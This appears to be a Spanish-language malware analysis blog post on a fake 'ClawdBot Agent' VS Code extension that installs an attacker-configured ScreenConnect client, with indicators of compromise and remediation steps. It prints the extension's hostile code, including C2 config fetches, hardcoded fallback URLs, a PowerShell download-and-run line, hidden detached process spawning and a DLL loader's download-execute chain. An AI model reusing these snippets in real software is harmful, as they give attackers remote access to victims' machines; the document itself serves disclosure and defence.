El 27 de enero de 2026, nuestro sistema de detección de malware detectó una nueva extensión de VS Code llamada "ClawdBot Agent" que inmediatamente hizo saltar las alarmas. Confirmamos que la extensión es un troyano completamente funcional: un asistente de codificación de IA operativo en la superficie, mientras que, en silencio, instala malware en máquinas Windows en el momento en que se inicia VS Code.
Y lo más impactante es que: el equipo real de Clawdbot nunca publicó una extensión oficial de VS Code. Los atacantes simplemente se apropiaron del nombre primero. Lo reportamos inmediatamente a Microsoft, que actuó con gran rapidez para eliminar la extensión. Esta publicación documenta nuestra investigación sobre la extensión.
¿Qué es Clawdbot?
Si ha estado cerca de AI X últimamente, probablemente haya visto Clawdbot mencionado por todas partes. Se ha convertido en uno de esos asistentes de IA virales de los que todo el mundo habla. Naturalmente, esto lo convierte en un objetivo principal para la suplantación, y eso es exactamente lo que ocurrió aquí.
La extensión falsa parece increíblemente legítima. Icono profesional, interfaz de usuario pulida, integración con siete proveedores de IA diferentes (OpenAI, Anthropic, Google, Ollama, Groq, Mistral, OpenRouter). Incluso funciona como se anuncia, lo que es precisamente lo que la hace peligrosa.

El código malicioso
Veamos qué ocurre realmente cuando se instala esta extensión.
El package.json establece un disparador inmediato:
{
"activationEvents": ["onStartupFinished"]
}
Esto significa que la extensión se ejecuta automáticamente cada vez que se inicia VS Code. No se requiere interacción del usuario. Ahora, aquí es donde se pone interesante. La activate() llamadas a funciones initCore() antes de hacer cualquier otra cosa:
function activate(context) {
initCore(context);
// ... legitimate AI assistant code follows
}
Y initCore() es donde ocurre la magia:
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => {
try {
const config = JSON.parse(data);
if (config.enabled) {
downloadAndRun(config.exe, config.dll);
}
} catch (e) {}
});
}).on('error', () => {
runFallbackDownload();
});
}
¿Ves ese bloque `catch` vacío? Es intencionado. Sin mensajes de error, sin alertas, nada. Si falla, intenta discretamente la alternativa. Si eso también falla, nadie se entera.
La entrega del payload
Aquí es donde las cosas se ponen interesantes. Obtuvimos el config.json del servidor C2:
{
"enabled": true,
"files": [
"Code.exe",
"DWrite.dll",
"ffmpeg.dll",
"icudtl.dat",
"libEGL.dll",
"msvcp140.dll",
"v8_context_snapshot.bin",
"vcruntime140.dll",
"vcruntime140_1.dll"
],
"version": "1.0"
}
A primera vista, esto parece una aplicación Electron troyanizada que suplanta a VS Code. Los nombres de los archivos encajan: Code.exe es el nombre del ejecutable de VS Code, v8_context_snapshot.bin es una instantánea del motor V8, ffmpeg.dll y libEGL.dll son dependencias estándar de Chromium.
Pero entonces analizamos los hashes con VirusTotal. Y ahí es cuando las cosas se pusieron interesantes.
Code.exe es detectado como ConnectWise ScreenConnect por varios proveedores de AV:
Code.exe (SHA256: e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2)
- Kaspersky: Not-a-virus:RemoteAdmin.MSIL.ConnectWise.a
- K7AntiVirus: RemoteTool ( 005d90a81 )
- Trellix: RAdmin-ConnectWise.bAl principio, pensamos que eran metadatos falsos. Pero el análisis de comportamiento en sandbox cuenta una historia diferente. Al ejecutarse, Code.exe:
- Se instala en
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\ - Despliega componentes legítimos de ScreenConnect:
ScreenConnect.ClientService.exe,ScreenConnect.WindowsBackstageShell.exe,ScreenConnect.WindowsFileManager.exe - Se conecta a
meeting.bulletmailer[].net:8041
Este es un software legítimo de ScreenConnect. Pero ha sido armado.
Los atacantes configuraron su propio servidor de retransmisión de ScreenConnect, generaron un instalador de cliente preconfigurado y lo distribuyeron a través de la extensión de VS Code. Cuando las víctimas instalan la extensión, obtienen un cliente de ScreenConnect completamente funcional que se conecta inmediatamente a la infraestructura del atacante.
Esta es la configuración incrustada que extrajimos:
<ScreenConnect.ApplicationSettings>
<setting name="ClientLaunchParametersConstraint">
<value>?h=meeting.bulletmailer.net&p=8041&k=BgIAAACkAABSU0Ex...</value>
</setting>
</ScreenConnect.ApplicationSettings>
Eso h=meeting.bulletmailer[.]net&p=8041 es el servidor de retransmisión del atacante. El k= parámetro es la clave pública RSA de su servidor de ScreenConnect. Cada máquina de la víctima establece automáticamente una sesión de acceso remoto con esta infraestructura.
Esta es una técnica conocida como "Bring Your Own ScreenConnect" (o a veces "ScreenConnect como abuso de RMM"). Las herramientas de soporte de TI como ScreenConnect, AnyDesk y TeamViewer están siendo cada vez más armadas de esta manera porque son software de confianza que las herramientas de seguridad suelen permitir.
Y DWrite.dll? Esto proporciona un mecanismo redundante de entrega de cargas útiles:
DWrite.dll (SHA256: d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea)
- Cynet: Malicioso (puntuación: 100)
- Elastic: Malicioso (confianza moderada)
- Ikarus: Trojan.Win64.Injector
Esto es un ataque de carga lateral de DLL como respaldo. El basado en Rust DWrite.dll puede recuperar cargas útiles de forma independiente de Dropbox si el C2 principal falla.
El código de preparación deposita todo en %TEMP%\Lightshot:
const INIT_DIR = path.join(process.env.TEMP, 'Lightshot');Luego ejecuta la carga útil oculta y desvinculada:
spawn(exePath, [], {
detached: true,
stdio: 'ignore',
windowsHide: true
}).unref();
Así que tienes lo que parece ser Code.exe ejecutándose en tu sistema. Si eres desarrollador, probablemente ya tengas VS Code en ejecución. ¿Lo notarías? Probablemente no. Y si investigaras, verías que es un software legítimo de ScreenConnect con firmas adecuadas. La parte maliciosa no es el binario en sí, sino a dónde se conecta ese binario.
Dentro de DWrite.dll: Un cargador basado en Rust
Lo desglosamos DWrite.dll en detalle, y la cosa se pone aún más interesante.
La DLL está escrita en Rust (se pueden ver las rutas del compilador en el binario) y exporta DWriteCreateFactory, la misma función exacta que exporta la biblioteca legítima de Windows DirectWrite. Cuando ScreenConnect carga y llama a esta función, el código malicioso se activa de inmediato.
Aquí está la cadena de descarga-escritura-ejecución:
// Open internet connection
InternetOpenA(...)
// Fetch payload from URL
InternetOpenUrlA(...)
// Create file in TEMP
CreateFileA(local_path, ...)
// Download loop
while (InternetReadFile(...) && bytes_read != 0) {
WriteFile(local_file, buffer, bytes_read, ...);
}
// Execute the downloaded file
ShellExecuteA(NULL, "open", downloaded_file, ...);¿Y de qué URL se descarga?
https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1
Un enlace de Dropbox disfrazado de actualización de Zoom. Porque, ¿por qué suplantar solo una aplicación legítima cuando puedes suplantar tres?
Aquí está lo interesante: descargamos zoomupdate.msi de ese enlace de Dropbox y comprobamos el hash. Es e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2.
Ese es el mismo hash que Code.exe. Es el mismo MSI malicioso. Así que el DWrite.dll es un mecanismo de entrega redundante. Incluso si la infraestructura C2 principal es desmantelada, la DLL maliciosa puede obtener de forma independiente la misma carga útil de Dropbox. Por si acaso.
El cargador también incluye:
- Comprobaciones de tiempo anti-análisis:
GetSystemTimeAsFileTimey QueryPerformanceCounter para detectar sandboxes - Resolución dinámica de API:
LoadLibraryAyGetProcAddresspara ocultar las importaciones del análisis estático - Comprobaciones de privilegios:
OpenProcessTokenconTOKEN_QUERYpara sondear el entorno
Redundancia, Redundancia, Redundancia
Los atacantes no querían bajo ningún concepto que esto fallara. Implementaron tres capas para la entrega de la carga útil:
- Configuración dinámica: Recuperar la lista de archivos de
clawdbot.getintwopc[.]site/config.json - Fallback de JavaScript: URLs predefinidas si el servidor de configuración está caído
- Fallback de script por lotes: Un dominio completamente separado en
darkgptprivate[.]com
Aquí está el fallback de JavaScript oculto en la extensión:
function runFallbackDownload() {
// Fallback URLs if config server is down
const fallbackExe = 'http://clawdbot.getintwopc.site/dl/Lightshot.exe';
const fallbackDll = 'http://clawdbot.getintwopc.site/dl/Lightshot.dll';
downloadAndRun(fallbackExe, fallbackDll);
}
Y el script por lotes en scripts/run.bat proporciona otra ruta más:
set "U=https://darkgptprivate.com/d111"
powershell -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('%U%/Lightshot.exe','%D%\Lightshot.exe')"¿Observa algo interesante? Los fallbacks predefinidos todavía hacen referencia a Lightshot.exe y Lightshot.dll, mientras que la versión en vivo config.json apunta al paquete de Electron con Code.exe. Esto sugiere que los atacantes probablemente evolucionaron su carga útil con el tiempo, pasando de un simple dropper disfrazado de Lightshot a un suplantador de VS Code más sofisticado, mientras dejaban el código de fallback antiguo en su lugar.
Si el C2 principal cae, tienen un respaldo. Si Node.js falla, tienen PowerShell. Si el primer dominio es desactivado, hay un segundo esperando. Esta gente hizo bien su trabajo.
La infraestructura
Rastreamos ambos dominios:
clawdbot.getintwopc[.]site se encuentra detrás de Cloudflare, lo que dificulta encontrar el servidor real. Los registros de transparencia de certificados muestran que el dominio principal getintwopc[.]site ha estado activo al menos desde marzo de 2025.
darkgptprivate[.]com es más interesante. Se resuelve en 178.16.54[.]253, alojado por Omegatech LTD en las Seychelles. El certificado fue emitido el 10 de enero de 2026, solo semanas antes de que encontráramos esta muestra. El dominio también tiene registros SPF configurados para servicios de retransmisión de correo electrónico, lo que sugiere que también podría usarse para phishing.
¿Hosting offshore en las Seychelles con espacio IP asignado recientemente? Muy sospechoso.
Qué hace que este ataque sea efectivo
Esto no es obra de un script kiddie que improvisa código ofuscado. Los atacantes comprendieron varias cosas:
- La suplantación de marca funciona: Las personas que busquen "Clawdbot VS Code" encontrarán esto primero
- El malware funcional evita sospechas: Las características de IA realmente funcionan, por lo que los usuarios no tienen motivos para quejarse
- Las extensiones de VS Code son de confianza: Se ejecutan con acceso completo al sistema de archivos y a la red
- La activación al inicio es potente: No se requieren clics después de la instalación
- Múltiples mecanismos de respaldo garantizan la entrega: ¿Falla el C2? Prueba Dropbox. ¿Falla Node.js? Prueba PowerShell.
- Un RAT legítimo es brillante: ScreenConnect es un software de TI de confianza que las herramientas de seguridad permiten
- La configuración armada es el truco: El binario está limpio; solo el destino es malicioso
- El camuflaje de procesos funciona: Un
Code.exeproceso en la máquina de un desarrollador no levanta ninguna sospecha - Cuádruple suplantación: Clawdbot (extensión) → VS Code (nombre del payload) → Lightshot (carpeta de staging) → Zoom (nombre del payload de Dropbox)
La estratificación aquí es impresionante. Tienes un asistente de IA falso que descarga software legítimo de acceso remoto configurado para conectarse a la infraestructura del atacante, con un cargador de respaldo basado en Rust que obtiene el mismo payload de Dropbox disfrazado de actualización de Zoom, todo preparado en una carpeta con el nombre de una aplicación de captura de pantalla. Cada capa añade confusión para los defensores.
Remediación y Detección
Si instalaste la extensión "ClawdBot Agent", esto es lo que debes hacer:
- Desinstale la extensión inmediatamente de VS Code
- Verifique la instalación de ScreenConnect en
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\y elimínela - Verifique los Servicios de Windows para
ScreenConnect Client (083e4d30c7ea44f7)y desinstálelo - Comprobar
%TEMP%\Lightshoten busca de cualquier archivo y elimine la carpeta completa - Abra el Administrador de Tareas y busque cualquier
Code.exeo proceso de ScreenConnect ejecutándose desde directorios temporales o inesperados - Bloquear
meeting.bulletmailer.nety 179.43.176[.]32en su firewall- Ejecute un análisis antivirus completo
- Si introdujo alguna clave API en la extensión, rótelas inmediatamente (OpenAI, Anthropic, Google, etc.)
- Verifique si hay tareas programadas o entradas de inicio que puedan reiniciar la carga útil
- Monitorice las conexiones salientes al puerto
8041
Indicadores de Compromiso
IOCs de red:
meeting.bulletmailer[.]net:8041(relay de ScreenConnect - C2 principal)179.43.176[.]32(IP del relay de ScreenConnect)clawdbot.getintwopc[.]site(dominio C2 de la extensión)getintwopc[.]site(dominio padre)darkgptprivate[.]com(C2 secundario)178.16.54[.]253(servidor darkgptprivate)https://www.dropbox[.]com/scl/fi/tmwi4j86op04r9qo2xdgh/zoomupdate.msi?rlkey=ymr9yn5p3q2w2l3uz9cg71dvm&st=q93av9p6&dl=1- (
DWrite.dll(origen de la carga útil)
IOCs de archivos:
Dropper (Extensión de VS Code):
- extension.js SHA256:
adbcdb613c04fd51936cb0863d2417604db0cd04792ab7cae02526d48944c77b - run.bat SHA256:
04ef48b104d6ebd05ad70f6685ade26c1905495456f52dfe0fb42f550bd43388
Payload (Malicioso):
- Code.exe (instalador de ScreenConnect armado):
e20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2 - DWrite.dll (cargador basado en Rust):
d1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea
Protege tu software ahora.




